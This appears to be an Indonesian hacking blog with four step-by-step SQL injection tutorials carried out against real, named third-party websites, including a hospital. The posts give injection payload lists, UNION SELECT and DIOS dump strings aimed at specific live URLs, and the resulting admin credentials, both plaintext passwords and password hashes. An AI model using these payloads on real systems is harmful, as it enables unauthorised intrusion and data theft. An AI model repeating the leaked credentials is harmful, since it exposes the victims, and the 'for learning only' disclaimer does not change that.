Kamis, 30 Agustus 2018

Balancing dan Commenting dalam SQL Injection


Assalamualaikum..

Selamat malam semuanya. Apa kabar? Semoga sehat selalu. Kesempatan kali ini saya akan membahas tentang Balancing dan Commenting dalam SQL Injection. Sealamat membaca!

1. Balancing

SELECT * FROM berita WHERE berita_id=('1')
Kalau kodingan PHP-nya seperti di atas, maka kita balance inputnya menjadi ?id=1').

2. Commenting

Contoh commenting dalam SQL Injection adalah -- - atau --+. Fungsinya adalah supaya suntikan SQL kita dianggap valid oleh aplikasi webnya. 

Untuk lebih jelasnya, perhatikan gambar berikut:


Jadi, balancing dan commenting itu erat kaitannya. Bisa dibilang, keduanya berfungsi untuk menyeimbangkan agar website kembali normal ketika ditambahkan string yang memicu error pada database.

Di bawah ini adalah beberapa contoh balancing dan commenting dalam SQL Injection:

--
-- -
--+-
`
)--
)-- -
)--+-
))--
))-- -
))--+-
;
);
));
%23
%2523
%60
%2560
%90
%2590
;%2500
0%0a
--%a0
/*
/**/
and 1=1
and '1'='1
and (1)=(1 
php?id=(1)-- -

Sekarang kita akan praktik mengenai balancing dan commenting. Seperti biasa, kita cari dulu web yang mau diuji coba. Saya sudah menyiapkannya, yaitu https://jolemi.com/index.php?route=blog/article&article_id=74. Tambahkan (') untuk tes vuln.


Setelah ditambahkan ('), sebagian tampilan website hilang dan muncul pesan error di bagian atas yang menandakan web tersebut rentan terhadap SQL Injection. Selanjutnya, kita coba balance inputnya dengan menambahkan commenting -- -. Jadinya seperti ini, https://jolemi.com/index.php?route=blog/article&article_id=74'-- -.


Website kembali normal setelah ditambahkan -- -. Sekarang masuk ke tahap Order By. Kita urutkan angkanya sampai web kembali error. 


Hmm, kira-kira apa yang salah? Coba kita ganti commentingnya. Yang tadinya menggunakan -- - ganti dengan ;.


Sekarang kita cari angka terkecil dimana web menjadi error. Ayo kita urutkan lagi :p


Karena error di angka 23, itu artinya jumlah columnnya ada 22. Sekarang lanjut ke tahap Union Select. Jadinya seperti ini, https://jolemi.com/index.php?route=blog/article&article_id=-74' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22;.


Nahh, angka ajaibnya udah keluar. Saya cukup sampai sini saja. Karena kalau dilanjutkan nanti jadinya di luar pembahasan :p

Oke cukup sekian pembahasan mengenai Balancing dan Commenting dalam SQL Injection. Apabila ada kesalahan mohon koreksinya. Silahkan bertanya di kolom komentar, InshaAllah saya jawab :D

Wassalamualaikum..

Rabu, 29 Agustus 2018

Perbedaan Integer Based dan String Based dalam SQL Injection


Assalamualaikum..

Selamat malam dan apa kabar? Kembali lagi dengan saya admin paling ganteng di blog ini. Kali ini saya akan membagikan artikel mengenai Perbedaan Integer Based dan String Based dalam SQL Injection. Selamat membaca!

Sebelum lanjut ke pembahasan, kita harus tau bahwa SQL Injection bisa diklasifikasikan berdasarkan nilai di parameternya. Yaitu:
  1. Integer Based SQL Injection
  2. String Based SQL Injection

1. Integer Based

SELECT * FROM pages WHERE page_id=1 [Injeksi di sini] order by title limit 1,1
Kode di atas adalah kodingan PHP-nya. Jadi, cara injeksinya ?id=1 union select 1,2,3-- -. Dan setelah diinjeksi, kodingan PHP-nya jadi begini:

SELECT * FROM pages WHERE page_id=1 union select 1,2,3-- order by title limit 1,1
Contoh website yang termasuk kategori Integer Based adalah https://www.jawapos.co.id/news/news_detail.php?id_cnews=34. Tambahkan (') di ujung URL untuk tes vuln!


Setelah kita tambahkan ('), website error dengan pesan:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
 Tanda '\'' artinya input di parameter ini tidak menerima string seperti single quote (') atau double quote ("), yang berati tipe injeksinya adalah Integer Based.

Selanjutnya, kita balance inputnya dengan menambahkan komentar -- -. Perintahnya menjadi https://www.jawapos.co.id/news/news_detail.php?id_cnews=34-- -.


Website kembali normal seperti semula setelah ditambahkan -- -. Langkah selanjutnya anda lakukan injeksi seperti biasa, saya tidak akan menjelaskan karena itu di luar pembahasan kita.

2. String Based

SELECT * FROM pages WHERE page_id="1" [Injeksi di sini] order by title limit 1,1
 Kode di atas adalah kodingan PHP-nya. Jadi, cara menginjeksinya ?id=1' union select 1,2,3-- -. Dan setelah diinjeksi, kodingan PHP-nya menjadi begini:

SELECT * FROM pages WHERE page_id="1"' union select 1,2,3--+ order by title limit 1,1
 Contoh website yang termasuk kategori String Based adalah http://lptp.or.id/news.php?id=18. Tambahkan (') di ujung URL untuk tes vuln!


Sebagian tampilan website hilang. Sekarang kita balance dengan menambahkan komentar -- -. Perintahnya menjadi http://lptp.or.id/news.php?id=18'-- -.


Website kembali normal setelah ditambahkan -- -. Saya juga tidak akan melanjutkan injeksi karena itu di luar topik kita.

3. Kesimpulan

Dari penjelasan di atas, dapat kita tarik kesimpulan bahwa:

dalam Integer Based kita tidak menggunakan string seperti single quote (') atau double quote ("). Sedangkan dalam String Based kita harus menggunakan string (') atau (") untuk input di parameternya. 
Oke sekian pembahasan mengenai Perbedaan Integer Based dan String Based dalam SQL Injection. Jika ada kesalahan dalam artikel mohon koreksinya. Silahkan bertanya di kolom komentar, InshaAllah saya jawab :D

Wassalamualaikum..

Selasa, 28 Agustus 2018

SQL Injection Manual dengan DIOS (Dump in One Shot)


Assalamualaikum..

Halo semuanya, apa kabar? Artikel kali ini saya akan membagikan tutorial SQL Injection Manual dengan DIOS (Dump In One Shot). Artikel ini adalah lanjutan dari artikel sebelumnya. Saya sarankan untuk membaca terlebih dahulu artikel sebelumnya karena itu adalah dasar dari SQL Injection.

Seebelumnya mungkin kalian bertanya, apa itu DIOS. DIOS adalah singkatan dari Dump in One Shot. Kalau diterjemahkan dalam bahasa Indonesia artinya Buang dalam Satu Tembakan. Jadi, kita bisa dump atau mengeluarkan isi database sebuah website dengan satu request. Tidak perlu convert nama tabel dan sekaligus kita bisa mengetahui semua tabel dan kolom secara bersamaan.

Di sini saya sudah memiliki website target, yaitu http://lakhamindonesianews.id/single.php?id=124


Tambahkan (') untuk mengecek web tersebut vuln atau tidak. http://lakhamindonesianews.id/single.php?id=124'. Klik tulisan Load URL yang berada di atas kiri hackbar. Atau kalau mau lebih cepat, tekan CTRL+A.


Bisa kita lihat, tampilan web berubah menjadi putih atau blank. Seperti yang saya bilang pada artikel sebelumnya, jika ada perubahan pada tampilan web setelah ditambahkan (') maka kemungkinan besar vuln SQL Injection.

Selanjutnya, kita cari jumlah column database website tersebut dengan perintah Order By. Perintahnya menjadi http://lakhamindonesianews.id/single.php?id=124' order by 1-- -.


Website kembali normal. Sekarang kita urutkan angka sampai web kembali error seperti ketika ditambahkan ('). Perintahnya seperti ini:



Web kembali error di angka 15. Itu artinya website tersebut hanya memiliki 14 column. 

Selanjutnya, kita gunakan perintah Union Select untuk mengurutkan jumlah column. Jangan lupa menambahkan (-)  di depan angka URL. Maka perintahnya menjadi http://lakhamindonesianews.id/single.php?id=-124' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- -


Kali ini tampilan website kembali berubah. Sekarang terdapat angka 2,4,5,6, dan 9. Saya sering menyebutnya sebegai angka togel atau angka ajaib :v

Nah, jika pada tutorial sebelumnya kita harus memasukkan group_concat dan kawan-kawannya, kali ini tidak perlu. Cukup ganti salah satu angka ajaib dengan DIOS yang ada pada hackbar. Caranya, tekan kolom UNION BASED kemudian cari DIOS MySQL lalu pilih salah satu DIOS. Di sini saya menggunakan DIOS by Madblood. 

(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))

Masukkan DIOS di atas pada salah satu angka ajaib. Saya pilih angka 5. Jadi perintahnya seperti ini:


Sekarang klik tulisan Execute di sebelah kiri atas. Atau kalau mau lebih cepat, tekan CTRL+X.


Sekedar info, DIOS by Madblood adalah DIOS racikan dari Madblood alias Fuad Khusnil. Beliau adalah salah satu sesepuh injector yang berasal dari Indonesia. 


Taraaa.. Kita berhasil dump semua table dan column. Untuk result yang di sebelah kiri tanda titik dua (:) adalah table_name dan dan di sebelah kanan tanda titik dua (:) adalah column_name.

Misi kita adalah mencari username dan password admin. Geser ke bawah dan cari nama tabel yang kira-kira berisi username dan password admin. Feeling saya mengatakan tabel tersebut adalah user.


Sekarang kita dump table user. Caranya begini. Ganti information_schema.columns dengan nama tabel yang akan di dump. Karena kita mau dump tabel user, maka kita ganti information_schema.columns menjadi user. Kemudian, ganti table_name dan column_name dengan column yang akan di dump. Karena kita mau dump username dan password, maka column yang kita dump adalah user_name dan user_pass. Perintahnya menjadi seperti ini:



Yuhu.. Kita sudah berhasil dump username dan password admin.

bangpius :bangpius
pakarham2018 :pakarham2018
lakhamindonesianews.id :sembarangji

Sampai sini misi kita berhasil. Dimohon untuk tidak merusak websitenya, karena tutorial ini hanya untuk pembelajaran saja :p

Oke sekian tutorial mengenai SQL Injection Manual dengan DIOS (Dump in One Shot). Lebih dan kurangnya saya mohoh maaf. Jika ingin bertanya silahkan di komentar, InshaAllah saya jawab :D

Wassalamualaikum..

SQL Injection Manual Menggunakan Hackbar


Assalamualaikum..

Selamat malam semuanya, apa kabar? Pada kesempatan kali ini saya akan membagikan tutorial SQL Injection Manual Menggunakan Hackbar. Selamat membaca!

Sebelumnya saya sudah memiliki website yang akan kita jadikan bahan praktik, yaitu http://rsudkarawang.id/berita.php?i=20


Selanjutnya, tambahkan karakter (') untuk mengetes apakah web tersebut vuln atau tidak. http://rsudkarawang.id/berita.php?i=20'. Kemudian, klik tulisan Load URL yang berada di atas kiri hackbar. Atau kalau mau lebih cepat, tekan CTRL+A.


Kita bisa melihat perbedaan tampilan website sebelum dan sesudah ditambahkan ('). Ketika diberi karakter ('), sebagian tampilan website hilang dan muncul pesan error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''20''' at line 1
Pesan di atas adalah salah satu contoh error yang menunjukkan celah SQL Injection. Setiap website memiliki error yang berbeda-beda. Intinya, jika ada perubahan pada tampilan web setelah ditambahkan karakter ('), kemungkinan besar web tersebut vuln SQL Injection.

Selanjutnya, kita akan mencari jumlah column database website tersebut menggunakan perintah Order By. Jadi perintahnya menjadi http://rsudkarawang.id/berita.php?i=20' order by 1-- -.


Website tersebut kembali normal atau seperti semula sebelum ditambahkan ('). Tugas kita sekarang adalah mengurutkan angka sampai web tersebut kembali error. Untuk lebih jelasnya seperti ini:

http://rsudkarawang.id/berita.php?i=20' order by 7-- -       Boom, web kembali error :p


Setelah sampai angka 7, website kembali error dengan pesan:

Unknown column '7' in 'order clause'
Unknown column 7 kalau kita terjemahkan ke bahasa Indonesia artinya tidak diketahui kolom 7. Jadi, website tersebut memiliki 6 column.

Selanjutnya, kita menggunakan perintah Union Select untuk mengurutkan jumlah column. Tambahkan juga tanda (-) di depan angka url. Maka menjadi seperti ini, http://rsudkarawang.id/berita.php?i=-20' union select 1,2,3,4,5,6-- -


Kali ini tampilan website kembali berubah. Sekarang terdapat angka 2, 3, dan 5. Ketiga angka itu fungsinya sama, yaitu untuk menjalankan perintah kita nantinya. Di sini saya akan mencoba dump username dan password admin dari web tesebut. Pilih satu angka, saya memilih angka 2. 

Sekarang, angka 2 kita ganti dengan group_concat(table_name separator 0x3c62723e) dan di ujung di depan tanda -- - tambahkan perintah from information_schema.tables where table_schema=database(). Jadi, perintahnya seperti ini: 



Nah, sekarang kita sudah mendapatkan nama-nama table di database web tersebut. Karena tujuan kita mencari username dan password admin, maka cari table yang kemungkinan berisi username dan password admin. Feeling saya mengatakan table tersebut adalah adm_web

Kemudian, kita ganti group_concat(table_name separator 0x3c62723e) menjadi group_concat(column_name separator 0x3c62723e). Kita ganti juga perintah from information_schema.tables where table_schema= menjadi from information_schema.columns where table_name=. Lalu, kita ubah database() menjadi adm_web yang sudah kita ubah ke bentuk hex. 

Cara mengubahnya, blok kata yang akan kita ubah ke bentuk hex (adm_web) kemudian tekan tanda panah sebelah kanan 0xHEX. Maka bentuk hex dari adm_web adalah 0x61646d5f776562. Jadi perintah kita seperti ini: 



Taraa.. Ternaya feeling saya tadi benar. Table adm_web berisi username dan password admin. Dalam table adm_web terdapat 4 column yaitu usrname, pass, nama, dan email. Karena kita hanya mencari username dan password, maka column yang kita gunakan adalah usrname dan pass.

Sekarang, kita ganti group_concat(column_name separator 0x3c62723e) menjadi group_concat(usrname,0x203a3a3a20,pass separator 0x3c62723e). 0x203a3a3a20 adalah bentuk hex dari (:::), tujuannya untuk memisahkan antara username dan password. Lalu, kita ubah information_schema.columns where table_name=0x61646d5f776562 menjadi adm_web. Mengapa? Karena column usrname dan pass berada pada table adm_web. Maka perintahnya menjadi begini:



Yuhuuu.. Kita sudah mendapatkan username dan password admin web tersebut. 

admin ::: *EB1443BAA18E8CE79AC55DA3F6641902DC6C2BB0
simrsudk ::: *AE27799888FA65B5C838395911E947C5F49D5A78
Sekarang kembali pada tujuan masing-masing. Tujuan saya di sini hanya berbagi semata tanpa ada niatan merusak. Aksi ilegal yang anda lakukan di luar tanggung jawab saya :p

Oke sekian tutorial mengenai SQL Injection Manual Menggunakan Hackbar. Semoga bermanfaat untuk kita semua. Maaf apabila ada kekurangan atau salah kata. Jika ingin bertanya silahkan di komentar, InshaAllah saya jawab :D

Wassalamualaikum..